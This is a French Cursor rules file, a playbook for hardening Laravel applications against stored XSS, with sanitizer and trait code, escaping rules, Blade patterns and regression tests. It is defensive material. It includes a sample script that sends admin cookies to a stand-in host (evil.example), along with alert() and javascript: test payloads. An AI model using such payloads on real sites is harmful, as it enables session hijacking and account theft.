---
description: >-
  Guide d'audit et de correction XSS pour projets Laravel (formulaires publics,
  back-office, helpers HTML, modèles Eloquent). Appliquer quand on touche aux
  entrées utilisateur, vues admin, datatables, emails ou helpers de rendu HTML.
globs: app/**/*.php,resources/views/**/*.blade.php,app/Helpers/**/*.php,app/Support/**/*.php,app/Traits/**/*.php,app/Datatable/**/*.php,app/Services/**/*.php
alwaysApply: false
---

# Hardening XSS Laravel — guide Cursor

Ce fichier est un **playbook portable** : à copier dans chaque projet Laravel (idéalement sous `.cursor/rules/`) pour guider Cursor lors d’un audit ou d’une correction XSS.

Objectif : empêcher qu’une saisie utilisateur (ex. formulaire de contact) contenant du HTML/`<script>` soit **interprétée** côté back-office, emails ou listings AJAX — ce qui peut voler des cookies/sessions admin.

Référence d’implémentation réussie : commit type « FIX XSS » (défense en profondeur : échappement à l’affichage + sanitation à l’enregistrement).

---

## 1. Contexte et scénario d’attaque

### 1.1 Symptôme visible (preuve de concept « soft »)

Un utilisateur envoie via un formulaire **public** :

```html
<strong>coucou</strong>
```

ou :

```html
<script>document.location='https://evil.example/?c='+document.cookie</script>
```

Côté **listing / fiche back-office** (ou email admin HTML), le texte apparaît en gras, ou le script s’exécute dans le navigateur d’un admin authentifié.

### 1.2 Impact réel

- XSS **stored** : payload persisté en base, rejoué à chaque affichage admin.
- Cible privilégiée : sessions / CSRF tokens / cookies admin (souvent plus « riches » que le front).
- Vecteurs secondaires : emails HTML, widgets dashboard, exports HTML, DataTables JSON qui injectent du HTML, helpers qui concatènent du markup.

### 1.3 Cause racine typique

Deux erreurs souvent combinées :

1. **Rendu non échappé** : `{!! $userInput !!}`, `nl2br($message)` sans `e()`, helper HTML qui concatène `$value` brut, attributs HTML non échappés.
2. **Stockage naïf** : `Model::create($request->all())` sans retirer le balisage sur des champs qui ne doivent **jamais** contenir de HTML.

Laravel échappe `{{ }}` par défaut — le bug apparaît dès qu’on contourne cet échappement (helpers custom, `{!! !!}`, HTML assemblé en PHP).

---

## 2. Stratégie obligatoire : défense en profondeur

| Couche | Rôle | Priorité |
|--------|------|----------|
| **A. Échappement à l’affichage** | Protection principale. Tout contenu utilisateur devient du texte, même si la base est déjà polluée. | Critique |
| **B. Sanitation à l’écriture** | Empêche le balisage d’atteindre la BDD pour les champs « plain text ». Réduit le risque résiduel (exports, outils tiers, oublis futurs). | Forte |
| **C. Validation / allowlist** | Complément (longueur, format email, etc.) — **ne remplace pas** A et B. | Utile |

Ne jamais se contenter de « on strip_tags à l’entrée » **sans** corriger l’affichage : un autre chemin d’écriture (import, seeder, API, admin) peut réintroduire du HTML.

Ne jamais se contenter d’échapper « sur un écran » : emails, datatables AJAX, PDF HTML, notifications Alpine/JS (`innerHTML`) doivent être audités aussi.

---

## 3. Inventaire à faire avant de coder

Cursor doit **chercher et lister** dans le projet :

### 3.1 Entrées utilisateur « non trusted »

- Formulaires publics : contact, newsletter, candidature, commentaires, custom lists, uploads de métadonnées (alt, title, filename affiché).
- Headers stockés : `User-Agent`, IP affichée, `Referer`, `Origin`.
- Champs pivot / EAV (valeurs libres attachées via `attach()` / `updateExistingPivot()`).

### 3.2 Sorties dangereuses (patterns à greper)

```text
\{!!
htmlTag\(
nl2br\(
innerHTML
\.html\(
document\.write
unescape
{!! .*message
{!! .*\$request
```

Fichiers souvent concernés :

- `resources/views/admin/**/*.blade.php`
- `app/Datatable/**/*.php` / builders DataTables
- `app/Helpers/**/*.php`
- Méthodes modèle type `emailInfos()`, `listing*()`, `*Preview()`
- Templates email `resources/views/emails/**`
- Widgets dashboard

### 3.3 Helpers HTML custom

Si le projet a un helper du type `htmlTag($tag, $value, $attributes)` qui concatène sans `e()` :

- **C’est un accélérateur XSS** : une seule faille multiplie tous les listings.
- Corriger le helper en premier, puis adapter les appels qui assemblent du HTML légitime.

---

## 4. Correctifs à implémenter (checklist concrète)

### 4.1 Créer `App\Support\TextSanitizer`

Responsabilités :

1. `controlChars(?string): ?string` — retirer octets nuls / caractères de contrôle (`\x00-\x08`, `\x0B`, `\x0C`, `\x0E-\x1F`, `\x7F`). Fallback si UTF-8 invalide.
2. `plain(?string): ?string` — pour champs **sans balisage attendu** : `trim(strip_tags(controlChars($value)))`.
   - **Ne pas** décoder les entités HTML.
   - **Ne pas** supprimer les `<` / `>` isolés (préserver `"a < b"`, `"&lt;br&gt;"` saisis volontairement).
3. `url(?string): ?string` — `plain()` puis rejeter les schémas dangereux `javascript:`, `vbscript:`, `data:` (après normalisation : lower + suppression whitespace, car `java\tscript:` reste exécutable).

Exemple de référence :

```php
<?php

namespace App\Support;

class TextSanitizer
{
    private const DANGEROUS_SCHEMES = ['javascript', 'vbscript', 'data'];

    public static function controlChars(?string $value): ?string
    {
        if ($value === null) {
            return null;
        }

        $clean = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/u', '', $value);

        return $clean ?? str_replace("\0", '', $value);
    }

    public static function plain(?string $value): ?string
    {
        if ($value === null) {
            return null;
        }

        return trim(strip_tags(static::controlChars($value)));
    }

    public static function url(?string $value): ?string
    {
        $value = static::plain($value);

        if ($value === null || $value === '') {
            return $value;
        }

        $probe = strtolower(preg_replace('/\s+/', '', $value));

        foreach (static::DANGEROUS_SCHEMES as $scheme) {
            if (str_starts_with($probe, $scheme . ':')) {
                return null;
            }
        }

        return $value;
    }
}
```

### 4.2 Créer le trait `App\Traits\SanitizesAttributes`

- Hook Eloquent `saving` via `bootSanitizesAttributes()`.
- **Liste blanche uniquement** : `$plainTextAttributes` et `$urlAttributes` déclarés sur le modèle.
- Lire via `$this->getAttributes()` (valeurs brutes) pour ne pas déclencher accessors/casts inutilement.
- Ne **pas** déclarer d’attributs castés `array` / `json` / `enum` : la valeur brute serait traitée comme du texte.

```php
<?php

namespace App\Traits;

use App\Support\TextSanitizer;

/**
 * Defense en profondeur : l'echappement a l'affichage reste la protection principale.
 * Ce trait empeche le balisage d'atteindre la base pour des champs plain text.
 *
 * Usage :
 *   use SanitizesAttributes;
 *   protected array $plainTextAttributes = ['name', 'email'];
 *   protected array $urlAttributes = ['origin'];
 */
trait SanitizesAttributes
{
    protected static function bootSanitizesAttributes(): void
    {
        static::saving(function ($model) {
            $model->sanitizeDeclaredAttributes();
        });
    }

    protected function sanitizeDeclaredAttributes(): void
    {
        $raw = $this->getAttributes();

        foreach ($this->plainTextAttributes() as $key) {
            if (isset($raw[$key]) && is_string($raw[$key])) {
                $this->setAttribute($key, TextSanitizer::plain($raw[$key]));
            }
        }

        foreach ($this->urlAttributes() as $key) {
            if (isset($raw[$key]) && is_string($raw[$key])) {
                $this->setAttribute($key, TextSanitizer::url($raw[$key]));
            }
        }
    }

    public function plainTextAttributes(): array
    {
        return property_exists($this, 'plainTextAttributes') ? $this->plainTextAttributes : [];
    }

    public function urlAttributes(): array
    {
        return property_exists($this, 'urlAttributes') ? $this->urlAttributes : [];
    }
}
```

### 4.3 Brancher le trait sur les modèles concernés

Exemples de cibles (adapter aux modèles du projet) :

| Modèle typique | `$plainTextAttributes` | Notes |
|----------------|------------------------|-------|
| Contact / ContactRequest | `last_name`, `first_name`, `email`, `phone`, `message` | Formulaire public |
| Newsletter | `email`, `first_name`, `last_name` | Inscription publique |
| Logs (admin / access) | `ip`, `user_agent` | Contrôlés par le client HTTP |
| Tout champ « nom / titre / libellé » issu du public | selon schéma | Jamais de HTML attendu |

**Ne pas** mettre dans la whitelist :

- Contenu CMS / pages / blocs WYSIWYG
- Gabarits d’emails HTML
- JSON / config sérialisée
- Champs destinés à stocker du HTML légitime (éditeur riche admin)

### 4.4 Chemins hors événements Eloquent

`attach()`, `updateExistingPivot()`, `DB::table()->insert()`, `upsert()` **ne déclenchent pas** le trait.

Pour ces chemins : appeler explicitement `TextSanitizer::plain($value)` (ou `url`) dans le service avant écriture.

```php
private function sanitize($value)
{
    return is_string($value) ? TextSanitizer::plain($value) : $value;
}

// ...
$item->fields()->attach($field->id, [
    'value' => $this->sanitize($value),
]);
```

### 4.5 Corriger le helper HTML (si présent)

Règles du helper type `htmlTag` :

1. **Attributs toujours échappés** avec `e($attributeValue)` — aucun appelant n’a de raison légitime d’injecter du HTML dans un attribut.
2. **Contenu échappé par défaut** (`$escapeValue = true`).
3. `escapeValue: false` **uniquement** si `$value` est du HTML déjà construit et déjà sûr (htmlTag imbriqués, markup littéral contrôlé).
4. Si `escapeValue: false` et qu’une **donnée utilisateur** est concaténée dans `$value`, l’appelant **doit** passer par `e()` lui-même.

Avant :

```php
function htmlTag($tag, $value = null, array $attributes = []): string
{
    // attributs et contenu NON échappés → XSS
}
```

Après :

```php
function htmlTag($tag, $value = null, array $attributes = [], bool $escapeValue = true): string
{
    $html = '<' . $tag;
    foreach ($attributes as $attributeName => $attributeValue) {
        $html .= ' ' . $attributeName . '="' . e($attributeValue) . '"';
    }
    if ($value || ! in_array($tag, ['img', 'source', 'link'], true)) {
        $html .= '>' . ($escapeValue ? e($value) : $value) . '</' . $tag . '>';
    } else {
        $html .= '/>';
    }

    return $html;
}
```

### 4.6 Adapter les appels `htmlTag` qui assemblent du HTML légitime

Après le changement de défaut (`escapeValue: true`), tout appel qui passait du HTML interne (icônes Font Awesome, preview image, sous-balises) doit ajouter `escapeValue: false` **mais** continuer à échapper les briques user :

```php
// Contenu user dans un li → échappé par défaut (OK)
htmlTag('li', $this->email);

// Assemblage de HTML déjà sûr
$infos = htmlTag('ul', $infos, escapeValue: false);

// nl2br sur du user input : ÉCHAPPER AVANT nl2br
htmlTag('em', nl2br(e($this->message)), escapeValue: false);
```

Ordre critique :

```php
// ✅ BON
nl2br(e($message));

// ❌ MAUVAIS — nl2br d'abord, puis oubli d'échapper, ou double échappement incohérent
nl2br($message);
e(nl2br($message)); // casse les <br> voulus si on affiche en HTML
```

### 4.7 Vues Blade

| Pattern | Verdict |
|---------|---------|
| `{{ $contact->message }}` | OK (échappé) |
| `{!! $contact->message !!}` | Interdit pour données user |
| `{!! nl2br(e($contact->message)) !!}` | OK si retours ligne HTML nécessaires |
| `{!! $model->emailInfos() !!}` | OK **seulement** si la méthode échappe en interne |
| Attributs : `title="{{ $x }}"` | OK |
| Attributs : `title="{!! $x !!}"` | Interdit pour données user |

### 4.8 DataTables / JSON HTML

Si les colonnes DataTables renvoient du HTML (badges, liens `mailto:`) :

- Passer par le helper sécurisé, ou `e()` manuellement.
- Ne jamais concaténer `$model->name` brut dans une chaîne HTML.

### 4.9 Emails HTML

Toute méthode qui construit le corps HTML d’une notification admin à partir du message contact doit :

1. Échapper chaque champ user (`e()` / `htmlTag` par défaut).
2. Utiliser `nl2br(e($message))` pour les retours ligne.
3. Idéalement bénéficier aussi de la sanitation modèle (couche B).

---

## 5. Plan d’exécution pour Cursor (ordre recommandé)

Quand l’utilisateur demande « corrige le XSS » ou « applique le hardening XSS » :

1. **Cartographier** les helpers HTML et les `{!! !!}` liés aux données user.
2. **Sécuriser le helper** `htmlTag` (ou équivalent) : attributs + contenu échappés par défaut.
3. **Mettre à jour les appels** qui nécessitent `escapeValue: false` (compilation / tests manuels des listings admin).
4. **Ajouter** `TextSanitizer` + `SanitizesAttributes`.
5. **Brancher** le trait sur les modèles d’entrée publique + headers stockés.
6. **Couvrir** les écritures pivot / Query Builder hors Eloquent events.
7. **Corriger** emails / widgets / previews qui réaffichent ces champs.
8. **Vérifier** qu’aucun champ CMS HTML légitime n’a été strip_tags par erreur.
9. **Proposer** un test automatisé minimal (feature test).

Ne pas refactoriser hors scope. Ne pas changer le design UI. Ne pas « nettoyer » massivement la BDD historique sauf demande explicite (un script one-shot peut être proposé séparément).

---

## 6. Tests de non-régression (minimum)

### 6.1 Feature test — formulaire contact

```php
public function test_contact_message_is_stored_without_html_tags(): void
{
    $payload = [
        // ... champs requis du formulaire ...
        'message' => '<script>alert(1)</script><strong>coucou</strong> hello',
    ];

    $this->post(route('contact.store'), $payload)->assertRedirect(); // adapter la route

    $this->assertDatabaseHas('contact_requests', [
        // selon TextSanitizer::plain → tags retirés
        'message' => 'coucou hello', // ajuster au comportement exact (trim / strip_tags)
    ]);
}
```

### 6.2 Test unitaire — TextSanitizer

- `plain('<b>x</b>')` → `'x'`
- `plain("a < b")` → conserve la comparaison
- `plain("java\tscript:alert(1)")` via `url()` → `null`
- `controlChars("a\0b")` → sans null byte

### 6.3 Test d’affichage

- Construire un enregistrement avec message déjà pollué en base (si possible) et vérifier que la vue admin / la colonne DataTable / `emailInfos()` ne contient pas de balise `<script>` non échappée (chercher `&lt;script` ou absence de raw `<script`).

### 6.4 Smoke manuel

1. Poster `<strong>xss</strong>` et `<script>alert(1)</script>` via le formulaire public.
2. Ouvrir le listing back-office : texte brut, pas de gras, pas d’alerte.
3. Ouvrir la fiche détail + vérifier l’email admin reçu.
4. Vérifier qu’un listing légitime (icônes, badges, previews images) n’est pas « cassé » par l’échappement trop agressif (`escapeValue: false` oublié).

---

## 7. Pièges fréquents

1. **`escapeValue: false` partout « pour que ça marche »** — annule la protection. L’utiliser uniquement pour du HTML déjà sûr.
2. **Échapper deux fois** des contenus admin légitimes (icônes affichées en texte `\<i class=...>`).
3. **Sanitizer sur un champ WYSIWYG** — détruit le contenu éditorial. Whitelist stricte.
4. **Oublier les pivots** — le trait modèle ne s’exécute jamais sur `attach()`.
5. **`strip_tags` seul à l’entrée** sans corriger l’affichage — faux sentiment de sécurité.
6. **Schemas URL** avec whitespace / tabulation entre `javascript` et `:`.
7. **JSON dans DataTables** : le front réinjecte du HTML ; le backend doit déjà renvoyer du HTML sûr.
8. **Attributs HTML** (`href`, `title`, `onclick`) : toujours `e()` ; méfiant des `javascript:` dans `href`.
9. **Middleware / ImageProcessing** qui réécrit du HTML : si le helper change de défaut, ces chemins cassent silencieusement (images / picture) — les mettre à jour avec `escapeValue: false` sur le markup généré serveur.
10. **Données historiques** : l’échappement affichage protège immédiatement ; la sanitation ne nettoie que les **nouveaux** enregistrements sauf script de migration dédié.

---

## 8. Critères de done

- [ ] Helper HTML (si existant) échappe attributs + contenu par défaut.
- [ ] Tous les appels qui assemblent du HTML légitime passent `escapeValue: false` explicitement.
- [ ] Toute donnée utilisateur concaténée dans un HTML avec `escapeValue: false` est passée à `e()` (ou équivalent) au préalable.
- [ ] `TextSanitizer` + `SanitizesAttributes` présents.
- [ ] Modèles d’entrée publique / headers stockés branchés avec whitelist explicite.
- [ ] Services pivot / Query Builder sanitizent explicitement.
- [ ] Aucun `{!! $userField !!}` restant sans échappement interne.
- [ ] Emails / datatables / widgets couverts.
- [ ] Au moins un test automatisé sur le formulaire critique.
- [ ] Smoke manuel PoC `<strong>` / `<script>` validé côté back-office.

---

## 9. Message type pour démarrer une session Cursor

Copier-coller dans un nouveau projet Laravel qui contient ce fichier :

> Applique le playbook `.cursor/rules/laravel-xss-hardening.md`.
> Audite les formulaires publics (contact, newsletter, listes custom) et le rendu back-office.
> Implémente TextSanitizer + SanitizesAttributes, sécurise les helpers HTML / `{!! !!}`, et corrige les chemins hors Eloquent (pivots).
> Ne touche pas aux champs CMS/WYSIWYG légitimes. Fournis un résumé des fichiers modifiés + un test de non-régression.

---

## 10. Hors scope (sauf demande explicite)

- WAF / CSP headers (complément utile mais orthogonal).
- Migration one-shot de purge des payloads déjà en BDD.
- Remplacement d’un éditeur riche par du Markdown.
- XSS reflected purement sur query string non stockée (traiter avec les mêmes règles d’échappement affichage).
)
